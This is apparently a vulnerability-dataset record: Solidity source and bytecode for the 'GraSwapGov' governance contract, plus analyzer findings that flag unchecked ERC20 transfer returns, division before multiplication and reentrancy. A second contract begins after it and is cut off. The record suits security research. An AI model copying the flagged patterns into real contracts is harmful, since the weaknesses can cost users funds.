/** *Submitted for verification at Etherscan.io on 2021-02-06 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IGraSwapBlackList { // event OwnerChanged(address); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddedBlackLists(address[]); event RemovedBlackLists(address[]); function owner()external view returns (address); // function newOwner()external view returns (address); function isBlackListed(address)external view returns (bool); // function changeOwner(address ownerToSet) external; // function updateOwner() external; function transferOwnership(address newOwner) external; function addBlackLists(address[] calldata accounts)external; function removeBlackLists(address[] calldata accounts)external; } interface IGraWhiteList { event AppendWhiter(address adder); event RemoveWhiter(address remover); function appendWhiter(address account) external; function removeWhiter(address account) external; function isWhiter(address account) external; function isNotWhiter(address account) external; } interface IGraSwapToken is IERC20, IGraSwapBlackList{ function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); // function multiTransfer(uint256[] calldata mixedAddrVal) external returns (bool); function batchTransfer(address[] memory addressList, uint256[] memory amountList) external returns (bool); } interface IGraSwapGov { event NewFundsProposal (uint64 proposalID, string title, string desc, string url, uint32 deadline, address beneficiary, uint256 amount); event NewParamProposal (uint64 proposalID, string title, string desc, string url, uint32 deadline, address factory, uint32 feeBPS); event NewUpgradeProposal(uint64 proposalID, string title, string desc, string url, uint32 deadline, address factory, address pairLogic); event NewTextProposal (uint64 proposalID, string title, string desc, string url, uint32 deadline); event NewVote(uint64 proposalID, address voter, uint8 opinion, uint112 voteAmt); event AddVote(uint64 proposalID, address voter, uint8 opinion, uint112 voteAmt); event Revote (uint64 proposalID, address voter, uint8 opinion, uint112 voteAmt); event TallyResult(uint64 proposalID, bool pass); function graContract() external pure returns (address); function proposalInfo() external view returns ( uint24 id, address proposer, uint8 _type, uint32 deadline, address addr, uint256 value, uint112 totalYes, uint112 totalNo, uint112 totalDeposit); function voterInfo(address voter) external view returns ( uint24 votedProposalID, uint8 votedOpinion, uint112 votedAmt, uint112 depositedAmt); function submitFundsProposal (string calldata title, string calldata desc, string calldata url, address beneficiary, uint256 fundsAmt, uint112 voteAmt) external; function submitParamProposal (string calldata title, string calldata desc, string calldata url, address factory, uint32 feeBPS, uint112 voteAmt) external; function submitUpgradeProposal(string calldata title, string calldata desc, string calldata url, address factory, address pairLogic, uint112 voteAmt) external; function submitTextProposal (string calldata title, string calldata desc, string calldata url, uint112 voteAmt) external; function vote(uint8 opinion, uint112 voteAmt) external; function tally() external; function withdrawGras(uint112 amt) external; } interface IGraSwapFactory { event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap); function createPair(address stock, address money, bool isOnlySwap) external returns (address pair); function setFeeToAddresses(address) external; function setFeeToSetter(address) external; function setFeeBPS(uint32 bps) external; function setPairLogic(address implLogic) external; function allPairsLength() external view returns (uint); function feeTo_1() external view returns (address); function feeTo_2() external view returns (address); function feeToPrivate() external view returns (address); function feeToSetter() external view returns (address); function feeBPS() external view returns (uint32); function pairLogic() external returns (address); function getTokensFromPair(address pair) external view returns (address stock, address money); function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair); } contract GraSwapGov is IGraSwapGov { struct VoterInfo { uint24 votedProposal; uint8 votedOpinion; uint112 votedAmt; // enouth to store GraS uint112 depositedAmt; // enouth to store GraS } uint8 private constant _PROPOSAL_TYPE_FUNDS = 1; // ask for funds uint8 private constant _PROPOSAL_TYPE_PARAM = 2; // change factory.feeBPS uint8 private constant _PROPOSAL_TYPE_UPGRADE = 3; // change factory.pairLogic uint8 private constant _PROPOSAL_TYPE_TEXT = 4; // pure text proposal uint8 private constant _YES = 1; uint8 private constant _NO = 2; uint32 private constant _MIN_FEE_BPS = 0; uint32 private constant _MAX_FEE_BPS = 50; uint256 private constant _MAX_FUNDS_REQUEST = 5000000; // 5000000 GraS uint256 private constant _FAILED_PROPOSAL_COST = 1000; // 1000 GraS uint256 private constant _SUBMIT_GraS_PERCENT = 1; // 0.1% uint256 private constant _VOTE_PERIOD = 3 days; uint256 private constant _TEXT_PROPOSAL_INTERVAL = 1 days; address public immutable override graContract; uint256 private immutable _maxFundsRequest; // 5000000 GraS uint256 private immutable _failedProposalCost; // 1000 GraS uint24 private _proposalID; uint8 private _proposalType; // FUNDS | PARAM | UPGRADE | TEXT uint32 private _deadline; // unix timestamp | same | same | same address private _addr; // beneficiary addr | factory addr | factory addr | not used uint256 private _value; // amount of funds | feeBPS | pair logic address | not used address private _proposer; uint112 private _totalYes; uint112 private _totalNo; uint112 private _totalDeposit; mapping (address => VoterInfo) private _voters; constructor(address _graContract) public { graContract = _graContract; uint256 GrasDec = IERC20(_graContract).decimals(); _maxFundsRequest = _MAX_FUNDS_REQUEST * (10 ** GrasDec); _failedProposalCost = _FAILED_PROPOSAL_COST * (10 ** GrasDec); } function proposalInfo() external view override returns ( uint24 id, address proposer, uint8 _type, uint32 deadline, address addr, uint256 value, uint112 totalYes, uint112 totalNo, uint112 totalDeposit) { id = _proposalID; proposer = _proposer; _type = _proposalType; deadline = _deadline; value = _value; addr = _addr; totalYes = _totalYes; totalNo = _totalNo; totalDeposit = _totalDeposit; } function voterInfo(address voter) external view override returns ( uint24 votedProposalID, uint8 votedOpinion, uint112 votedAmt, uint112 depositedAmt) { VoterInfo memory info = _voters[voter]; votedProposalID = info.votedProposal; votedOpinion = info.votedOpinion; votedAmt = info.votedAmt; depositedAmt = info.depositedAmt; } // submit new proposals function submitFundsProposal(string calldata title, string calldata desc, string calldata url, address beneficiary, uint256 fundsAmt, uint112 voteAmt) external override { if (fundsAmt > 0) { require(fundsAmt <= _maxFundsRequest, "GraSwapGov: ASK_TOO_MANY_FUNDS"); uint256 govGras = IERC20(graContract).balanceOf(address(this)); uint256 availableGras = govGras - _totalDeposit; require(govGras > _totalDeposit && availableGras >= fundsAmt, "GraSwapGov: INSUFFICIENT_FUNDS"); } _newProposal(_PROPOSAL_TYPE_FUNDS, beneficiary, fundsAmt, voteAmt); emit NewFundsProposal(_proposalID, title, desc, url, _deadline, beneficiary, fundsAmt); _vote(_YES, voteAmt); } function submitParamProposal(string calldata title, string calldata desc, string calldata url, address factory, uint32 feeBPS, uint112 voteAmt) external override { require(feeBPS >= _MIN_FEE_BPS && feeBPS <= _MAX_FEE_BPS, "GraSwapGov: INVALID_FEE_BPS"); _newProposal(_PROPOSAL_TYPE_PARAM, factory, feeBPS, voteAmt); emit NewParamProposal(_proposalID, title, desc, url, _deadline, factory, feeBPS); _vote(_YES, voteAmt); } function submitUpgradeProposal(string calldata title, string calldata desc, string calldata url, address factory, address pairLogic, uint112 voteAmt) external override { require(pairLogic != address(0), "GraSwapGov: INVALID_PAIR_LOGIC"); _newProposal(_PROPOSAL_TYPE_UPGRADE, factory, uint256(pairLogic), voteAmt); emit NewUpgradeProposal(_proposalID, title, desc, url, _deadline, factory, pairLogic); _vote(_YES, voteAmt); } function submitTextProposal(string calldata title, string calldata desc, string calldata url, uint112 voteAmt) external override { // solhint-disable-next-line not-rely-on-time require(uint256(_deadline) + _TEXT_PROPOSAL_INTERVAL < block.timestamp, "GraSwapGov: COOLING_DOWN"); _newProposal(_PROPOSAL_TYPE_TEXT, address(0), 0, voteAmt); emit NewTextProposal(_proposalID, title, desc, url, _deadline); _vote(_YES, voteAmt); } function _newProposal(uint8 _type, address addr, uint256 value, uint112 voteAmt) private { require(_type >= _PROPOSAL_TYPE_FUNDS && _type <= _PROPOSAL_TYPE_TEXT, "GraSwapGov: INVALID_PROPOSAL_TYPE"); require(_type == _PROPOSAL_TYPE_TEXT || msg.sender == IGraSwapToken(graContract).owner(), "GraSwapGov: NOT_GraS_OWNER"); require(_proposalType == 0, "GraSwapGov: LAST_PROPOSAL_NOT_FINISHED"); uint256 totalGras = IERC20(graContract).totalSupply(); uint256 thresGras = (totalGras/1000) * _SUBMIT_GraS_PERCENT; require(voteAmt >= thresGras, "GraSwapGov: VOTE_AMOUNT_TOO_LESS"); _proposalID++; _proposalType = _type; _proposer = msg.sender; // solhint-disable-next-line not-rely-on-time _deadline = uint32(block.timestamp + _VOTE_PERIOD); _value = value; _addr = addr; _totalYes = 0; _totalNo = 0; } function vote(uint8 opinion, uint112 voteAmt) external override { require(_proposalType > 0, "GraSwapGov: NO_PROPOSAL"); // solhint-disable-next-line not-rely-on-time require(uint256(_deadline) > block.timestamp, "GraSwapGov: DEADLINE_REACHED"); _vote(opinion, voteAmt); } function _vote(uint8 opinion, uint112 addedVoteAmt) private { require(_YES <= opinion && opinion <= _NO, "GraSwapGov: INVALID_OPINION"); require(addedVoteAmt > 0, "GraSwapGov: ZERO_VOTE_AMOUNT"); (uint24 currProposalID, uint24 votedProposalID, uint8 votedOpinion, uint112 votedAmt, uint112 depositedAmt) = _getVoterInfo(); // cancel previous votes if opinion changed bool isRevote = false; if ((votedProposalID == currProposalID) && (votedOpinion != opinion)) { if (votedOpinion == _YES) { assert(_totalYes >= votedAmt); _totalYes -= votedAmt; } else { assert(_totalNo >= votedAmt); _totalNo -= votedAmt; } votedAmt = 0; isRevote = true; } // need to deposit more GraS? assert(depositedAmt >= votedAmt); if (addedVoteAmt > depositedAmt - votedAmt) { uint112 moreDeposit = addedVoteAmt - (depositedAmt - votedAmt); depositedAmt += moreDeposit; _totalDeposit += moreDeposit; IERC20(graContract).transferFrom(msg.sender, address(this), moreDeposit); } if (opinion == _YES) { _totalYes += addedVoteAmt; } else { _totalNo += addedVoteAmt; } votedAmt += addedVoteAmt; _setVoterInfo(currProposalID, opinion, votedAmt, depositedAmt); if (isRevote) { emit Revote(currProposalID, msg.sender, opinion, addedVoteAmt); } else if (votedAmt > addedVoteAmt) { emit AddVote(currProposalID, msg.sender, opinion, addedVoteAmt); } else { emit NewVote(currProposalID, msg.sender, opinion, addedVoteAmt); } } function _getVoterInfo() private view returns (uint24 currProposalID, uint24 votedProposalID, uint8 votedOpinion, uint112 votedAmt, uint112 depositedAmt) { currProposalID = _proposalID; VoterInfo memory voter = _voters[msg.sender]; depositedAmt = voter.depositedAmt; if (voter.votedProposal == currProposalID) { votedProposalID = currProposalID; votedOpinion = voter.votedOpinion; votedAmt = voter.votedAmt; } } function _setVoterInfo(uint24 proposalID, uint8 opinion, uint112 votedAmt, uint112 depositedAmt) private { _voters[msg.sender] = VoterInfo({ votedProposal: proposalID, votedOpinion : opinion, votedAmt : votedAmt, depositedAmt : depositedAmt }); } function tally() external override { require(_proposalType > 0, "GraSwapGov: NO_PROPOSAL"); // solhint-disable-next-line not-rely-on-time require(uint256(_deadline) <= block.timestamp, "GraSwapGov: STILL_VOTING"); bool ok = _totalYes > _totalNo; uint8 _type = _proposalType; uint256 val = _value; address addr = _addr; address proposer = _proposer; _resetProposal(); if (ok) { _execProposal(_type, addr, val); } else { _taxProposer(proposer); } emit TallyResult(_proposalID, ok); } function _resetProposal() private { _proposalType = 0; // _deadline = 0; // use _deadline to check _TEXT_PROPOSAL_INTERVAL _value = 0; _addr = address(0); _proposer = address(0); _totalYes = 0; _totalNo = 0; } function _execProposal(uint8 _type, address addr, uint256 val) private { if (_type == _PROPOSAL_TYPE_FUNDS) { if (val > 0) { IERC20(graContract).transfer(addr, val); } } else if (_type == _PROPOSAL_TYPE_PARAM) { IGraSwapFactory(addr).setFeeBPS(uint32(val)); } else if (_type == _PROPOSAL_TYPE_UPGRADE) { IGraSwapFactory(addr).setPairLogic(address(val)); } } function _taxProposer(address proposerAddr) private { // burn 1000 GraS of proposer uint112 cost = uint112(_failedProposalCost); VoterInfo memory proposerInfo = _voters[proposerAddr]; if (proposerInfo.depositedAmt < cost) { // unreachable! cost = proposerInfo.depositedAmt; } _totalDeposit -= cost; proposerInfo.depositedAmt -= cost; _voters[proposerAddr] = proposerInfo; IGraSwapToken(graContract).burn(cost); } function withdrawGras(uint112 amt) external override { VoterInfo memory voter = _voters[msg.sender]; require(_proposalType == 0 || voter.votedProposal < _proposalID, "GraSwapGov: IN_VOTING"); require(amt > 0 && amt <= voter.depositedAmt, "GraSwapGov: INVALID_WITHDRAW_AMOUNT"); _totalDeposit -= amt; voter.depositedAmt -= amt; if (voter.depositedAmt == 0) { delete _voters[msg.sender]; } else { _voters[msg.sender] = voter; } IERC20(graContract).transfer(msg.sender, amt); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806372b166191161006657806372b16619146103a957806385005abb146104d5578063a9527d7a146104fb578063cdf58d3514610612578063fce2c4541461066f5761009e565b806309a91df0146100a35780632b865a2a14610118578063410673e51461024b57806355f4cc5a146102535780635aea4f4b14610277575b600080fd5b6100ab61069e565b6040805162ffffff909a168a526001600160a01b0398891660208b015260ff9097168988015263ffffffff909516606089015292909516608087015260a08601526001600160701b0393841660c0860152831660e085015290911661010083015251908190036101200190f35b610249600480360360c081101561012e57600080fd5b810190602081018135600160201b81111561014857600080fd5b82018360208201111561015a57600080fd5b803590602001918460018302840111600160201b8311171561017b57600080fd5b919390929091602081019035600160201b81111561019857600080fd5b8201836020820111156101aa57600080fd5b803590602001918460018302840111600160201b831117156101cb57600080fd5b919390929091602081019035600160201b8111156101e857600080fd5b8201836020820111156101fa57600080fd5b803590602001918460018302840111600160201b8311171561021b57600080fd5b919350915080356001600160a01b0390811691602081013590911690604001356001600160701b0316610701565b005b61024961089e565b61025b610a10565b604080516001600160a01b039092168252519081900360200190f35b610249600480360360c081101561028d57600080fd5b810190602081018135600160201b8111156102a757600080fd5b8201836020820111156102b957600080fd5b803590602001918460018302840111600160201b831117156102da57600080fd5b919390929091602081019035600160201b8111156102f757600080fd5b82018360208201111561030957600080fd5b803590602001918460018302840111600160201b8311171561032a57600080fd5b919390929091602081019035600160201b81111561034757600080fd5b82018360208201111561035957600080fd5b803590602001918460018302840111600160201b8311171561037a57600080fd5b919350915080356001600160a01b031690602081013563ffffffff1690604001356001600160701b0316610a34565b610249600480360360c08110156103bf57600080fd5b810190602081018135600160201b8111156103d957600080fd5b8201836020820111156103eb57600080fd5b803590602001918460018302840111600160201b8311171561040c57600080fd5b919390929091602081019035600160201b81111561042957600080fd5b82018360208201111561043b57600080fd5b803590602001918460018302840111600160201b8311171561045c57600080fd5b919390929091602081019035600160201b81111561047957600080fd5b82018360208201111561048b57600080fd5b803590602001918460018302840111600160201b831117156104ac57600080fd5b919350915080356001600160a01b031690602081013590604001356001600160701b0316610bb3565b610249600480360360208110156104eb57600080fd5b50356001600160701b0316610e63565b6102496004803603608081101561051157600080fd5b810190602081018135600160201b81111561052b57600080fd5b82018360208201111561053d57600080fd5b803590602001918460018302840111600160201b8311171561055e57600080fd5b919390929091602081019035600160201b81111561057b57600080fd5b82018360208201111561058d57600080fd5b803590602001918460018302840111600160201b831117156105ae57600080fd5b919390929091602081019035600160201b8111156105cb57600080fd5b8201836020820111156105dd57600080fd5b803590602001918460018302840111600160201b831117156105fe57600080fd5b9193509150356001600160701b0316611118565b6106386004803603602081101561062857600080fd5b50356001600160a01b031661128b565b6040805162ffffff909516855260ff90931660208501526001600160701b0391821684840152166060830152519081900360800190f35b6102496004803603604081101561068557600080fd5b50803560ff1690602001356001600160701b031661130f565b60005460025460015460035460045462ffffff8516956001600160a01b039485169560ff63010000008204169563ffffffff600160201b83041695600160401b909204169390926001600160701b0380831693600160701b909304811692911690565b6001600160a01b03821661075c576040805162461bcd60e51b815260206004820152601e60248201527f47726153776170476f763a20494e56414c49445f504149525f4c4f4749430000604482015290519081900360640190fd5b610772600384846001600160a01b0316846113d9565b7f620d77127ee7d32615eb70c371bd279ee1c4f664cb785673bdec31a49898f03a60008054906101000a900462ffffff168a8a8a8a8a8a600060049054906101000a900463ffffffff168b8b604051808b62ffffff1681526020018060200180602001806020018763ffffffff168152602001866001600160a01b03168152602001856001600160a01b0316815260200184810384528d8d82818152602001925080828437600083820152601f01601f191690910185810384528b815260200190508b8b80828437600083820152601f01601f191690910185810383528981526020019050898980828437600083820152604051601f909101601f19169092018290039f50909d5050505050505050505050505050a16108936001826116fd565b505050505050505050565b6000546301000000900460ff166108f6576040805162461bcd60e51b815260206004820152601760248201527611dc9854ddd85c11dbdd8e881393d7d41493d413d4d053604a1b604482015290519081900360640190fd5b60005442600160201b90910463ffffffff16111561095b576040805162461bcd60e51b815260206004820152601860248201527f47726153776170476f763a205354494c4c5f564f54494e470000000000000000604482015290519081900360640190fd5b6003546000546001546002546001600160701b03600160701b850481169416939093119260ff6301000000840416926001600160a01b03600160401b909104811691166109a6611b59565b84156109bc576109b7848385611b97565b6109c5565b6109c581611d3b565b6000546040805162ffffff9092168252861515602083015280517f709c5e70cd3dcf1f39400585b4da49bf555425a933cbafa65e5746f81bf3ca4c9281900390910190a15050505050565b7f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d2081565b603263ffffffff83161115610a90576040805162461bcd60e51b815260206004820152601b60248201527f47726153776170476f763a20494e56414c49445f4645455f4250530000000000604482015290519081900360640190fd5b610aa36002848463ffffffff16846113d9565b6000546040805162ffffff831680825263ffffffff600160201b9094048416608083018190526001600160a01b03881660a084015293861660c083015260e0602083018181529083018d90527f4623cd1863f26cf17b0b0252ebc774ecf43e15c013a840478f00c241f76e5e199491938e938e938e938e938e938e93928e928e92919082016060830161010084018d8d80828437600083820152601f01601f191690910185810384528b815260200190508b8b80828437600083820152601f01601f191690910185810383528981526020019050898980828437600083820152604051601f909101601f19169092018290039f50909d5050505050505050505050505050a16108936001826116fd565b8115610d3e577f0000000000000000000000000000000000000000000422ca8b0a00a425000000821115610c2e576040805162461bcd60e51b815260206004820152601e60248201527f47726153776170476f763a2041534b5f544f4f5f4d414e595f46554e44530000604482015290519081900360640190fd5b60007f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d206001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610c9d57600080fd5b505afa158015610cb1573d6000803e3d6000fd5b505050506040513d6020811015610cc757600080fd5b50516004549091506001600160701b03168082039082118015610cea5750838110155b610d3b576040805162461bcd60e51b815260206004820152601e60248201527f47726153776170476f763a20494e53554646494349454e545f46554e44530000604482015290519081900360640190fd5b50505b610d4b60018484846113d9565b7fcefa6a6335c5a8e5b325bf02dae880483f6a9e3632e21083f8994b95191bc00c60008054906101000a900462ffffff168a8a8a8a8a8a600060049054906101000a900463ffffffff168b8b604051808b62ffffff1681526020018060200180602001806020018763ffffffff168152602001866001600160a01b0316815260200185815260200184810384528d8d82818152602001925080828437600083820152601f01601f191690910185810384528b815260200190508b8b80828437600083820152601f01601f191690910185810383528981526020019050898980828437600083820152604051601f909101601f19169092018290039f50909d5050505050505050505050505050a16108936001826116fd565b610e6b612049565b503360009081526005602090815260408083208151608081018352905462ffffff81168252630100000080820460ff90811695840195909552600160201b82046001600160701b0390811694840194909452600160901b9091049092166060820152925404161580610ee85750600054815162ffffff9182169116105b610f31576040805162461bcd60e51b815260206004820152601560248201527447726153776170476f763a20494e5f564f54494e4760581b604482015290519081900360640190fd5b6000826001600160701b0316118015610f60575080606001516001600160701b0316826001600160701b031611155b610f9b5760405162461bcd60e51b81526004018080602001828103825260238152602001806120b86023913960400191505060405180910390fd5b600480546001600160701b031981166001600160701b0391821685900382161790915560608201805184900390911690819052610fe75733600090815260056020526040812055611071565b33600090815260056020908152604091829020835181549285015193850151606086015162ffffff1990941662ffffff9092169190911763ff0000001916630100000060ff9095169490940293909317640100000000600160901b031916600160201b6001600160701b0394851602176001600160901b0316600160901b93909216929092021790555b6040805163a9059cbb60e01b81523360048201526001600160701b038416602482015290516001600160a01b037f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d20169163a9059cbb9160448083019260209291908290030181600087803b1580156110e857600080fd5b505af11580156110fc573d6000803e3d6000fd5b505050506040513d602081101561111257600080fd5b50505050565b6000544263ffffffff600160201b90920491909116620151800110611184576040805162461bcd60e51b815260206004820152601860248201527f47726153776170476f763a20434f4f4c494e475f444f574e0000000000000000604482015290519081900360640190fd5b6111926004600080846113d9565b6000546040805162ffffff8316808252600160201b90930463ffffffff166080820181905260a0602083018181529083018b90527fedb5790b505fab801089c42a4d9c59dedfab325afc38c2f880f43fab318942b094938c938c938c938c938c938c9392909182016060830160c084018b8b80828437600083820152601f01601f191690910185810384528981526020019050898980828437600083820152601f01601f191690910185810383528781526020019050878780828437600083820152604051601f909101601f19169092018290039d50909b505050505050505050505050a16112826001826116fd565b50505050505050565b600080600080611299612049565b5050506001600160a01b039092166000908152600560209081526040918290208251608081018452905462ffffff811680835260ff63010000008304169383018490526001600160701b03600160201b83048116958401869052600160901b909204909116606090920182905295919450919250565b6000546301000000900460ff16611367576040805162461bcd60e51b815260206004820152601760248201527611dc9854ddd85c11dbdd8e881393d7d41493d413d4d053604a1b604482015290519081900360640190fd5b60005442600160201b90910463ffffffff16116113cb576040805162461bcd60e51b815260206004820152601c60248201527f47726153776170476f763a20444541444c494e455f5245414348454400000000604482015290519081900360640190fd5b6113d582826116fd565b5050565b600160ff8516108015906113f15750600460ff851611155b61142c5760405162461bcd60e51b81526004018080602001828103825260218152602001806120716021913960400191505060405180910390fd5b60ff8416600414806114ca57507f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d206001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561149257600080fd5b505afa1580156114a6573d6000803e3d6000fd5b505050506040513d60208110156114bc57600080fd5b50516001600160a01b031633145b61151b576040805162461bcd60e51b815260206004820152601a60248201527f47726153776170476f763a204e4f545f477261535f4f574e4552000000000000604482015290519081900360640190fd5b6000546301000000900460ff16156115645760405162461bcd60e51b81526004018080602001828103825260268152602001806120926026913960400191505060405180910390fd5b60007f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d206001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115bf57600080fd5b505afa1580156115d3573d6000803e3d6000fd5b505050506040513d60208110156115e957600080fd5b505190506103e881046001600160701b038316811115611650576040805162461bcd60e51b815260206004820181905260248201527f47726153776170476f763a20564f54455f414d4f554e545f544f4f5f4c455353604482015290519081900360640190fd5b50506000805460028054336001600160a01b0319909116179055600193845562ffffff19811662ffffff918216909401169290921763ff0000001916630100000060ff95909516949094029390931767ffffffff000000001916600160201b6203f480420163ffffffff16021768010000000000000000600160e01b031916600160401b6001600160a01b03939093169290920291909117905550600380546001600160e01b0319169055565b60ff82166001118015906117155750600260ff831611155b611766576040805162461bcd60e51b815260206004820152601b60248201527f47726153776170476f763a20494e56414c49445f4f50494e494f4e0000000000604482015290519081900360640190fd5b6000816001600160701b0316116117c4576040805162461bcd60e51b815260206004820152601c60248201527f47726153776170476f763a205a45524f5f564f54455f414d4f554e5400000000604482015290519081900360640190fd5b60008060008060006117d4611efa565b9450945094509450945060008562ffffff168562ffffff161480156117ff57508760ff168460ff1614155b156118a65760ff84166001141561184f576003546001600160701b038085169116101561182857fe5b600380546001600160701b03808216869003166001600160701b031990911617905561189e565b6003546001600160701b03808516600160701b90920416101561186e57fe5b600380546001600160701b03600160701b808304821687900390911602600160701b600160e01b03199091161790555b506000915060015b826001600160701b0316826001600160701b031610156118c257fe5b8282036001600160701b0316876001600160701b031611156119b457600480546001600160701b031981168585038a036001600160701b0392831681018316919091178355604080516323b872dd60e01b81523394810194909452306024850152918116604484015290519381019390917f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d206001600160a01b0316916323b872dd916064808201926020929091908290030181600087803b15801561198657600080fd5b505af115801561199a573d6000803e3d6000fd5b505050506040513d60208110156119b057600080fd5b5050505b60ff8816600114156119e657600380546001600160701b038082168a01166001600160701b0319909116179055611a15565b600380546001600160701b03600160701b80830482168b0190911602600160701b600160e01b03199091161790555b91860191611a2586898585611f99565b8015611a85576040805162ffffff8816815233602082015260ff8a16818301526001600160701b038916606082015290517f2054d4cdf4c6c9a38470bc7846d035a1dc962fd95a136c48fca4b36b01fb388b9181900360800190a1611b4f565b866001600160701b0316836001600160701b03161115611af9576040805162ffffff8816815233602082015260ff8a16818301526001600160701b038916606082015290517f79cf911a7c6d5d1b5d658aa8a512828c7539341faa788e21ee4b22997cee5ab09181900360800190a1611b4f565b6040805162ffffff8816815233602082015260ff8a16818301526001600160701b038916606082015290517fac44cb0e78b2dd1c33e8aa0f21a40ac00cc0b08f64cd62163ec42809a58e750d9181900360800190a15b5050505050505050565b60008054600182905567ffffffff01000000600160e01b0319169055600280546001600160a01b0319169055600380546001600160e01b0319169055565b60ff831660011415611c52578015611c4d577f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d206001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611c2057600080fd5b505af1158015611c34573d6000803e3d6000fd5b505050506040513d6020811015611c4a57600080fd5b50505b611d36565b60ff831660021415611cc757816001600160a01b0316633be9d930826040518263ffffffff1660e01b8152600401808263ffffffff168152602001915050600060405180830381600087803b158015611caa57600080fd5b505af1158015611cbe573d6000803e3d6000fd5b50505050611d36565b60ff831660031415611d3657816001600160a01b031663ca215225826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015611d2257600080fd5b505af1158015611282573d6000803e3d6000fd5b505050565b7f00000000000000000000000000000000000000000000003635c9adc5dea00000611d64612049565b506001600160a01b0382166000908152600560209081526040918290208251608081018452905462ffffff8116825260ff6301000000820416928201929092526001600160701b03600160201b8304811693820193909352600160901b909104821660608201819052909183161115611ddf57806060015191505b600480546001600160701b0380821685900381166001600160701b0319909216919091178255606083018051859003821681526001600160a01b03808716600090815260056020908152604080832088518154938a0151838b015197518916600160901b026001600160901b03988a16600160201b02640100000000600160901b031960ff90931663010000000263ff0000001962ffffff90951662ffffff19909816979097179390931695909517161795909516919091179093558251630852cd8d60e31b81529387169484019490945290517f0000000000000000000000005a23b7e3bb936c7753b5e7a6c304a8fb43979d20909116926342966c68926024808201939182900301818387803b158015611d2257600080fd5b6000805462ffffff1690808080611f0f612049565b5050336000908152600560209081526040918290208251608081018452905462ffffff80821680845260ff6301000000840416948401949094526001600160701b03600160201b8304811695840195909552600160901b909104909316606082018190529290919087161415611f915785945080602001519350806040015192505b509091929394565b6040805160808101825262ffffff958616815260ff94851660208083019182526001600160701b03958616838501908152948616606084019081523360009081526005909252939020915182549151945193518616600160901b026001600160901b0394909616600160201b02640100000000600160901b03199590971663010000000263ff000000199190981662ffffff19909216919091171695909517919091169290921791909116179055565b6040805160808101825260008082526020820181905291810182905260608101919091529056fe47726153776170476f763a20494e56414c49445f50524f504f53414c5f5459504547726153776170476f763a204c4153545f50524f504f53414c5f4e4f545f46494e495348454447726153776170476f763a20494e56414c49445f57495448445241575f414d4f554e54a264697066735822122092fdb27b7325f23cfa23b187f7b8ac750bd5f2b60e71ce79bccd3cbda26690cd64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,802
0x52d306e36e3b6b02c153d0266ff0f85d18bcd413
/** *Submitted for verification at Etherscan.io on 2020-11-30 */ // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Errors library * @author Aave * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken) * - AT = AToken * - SDT = 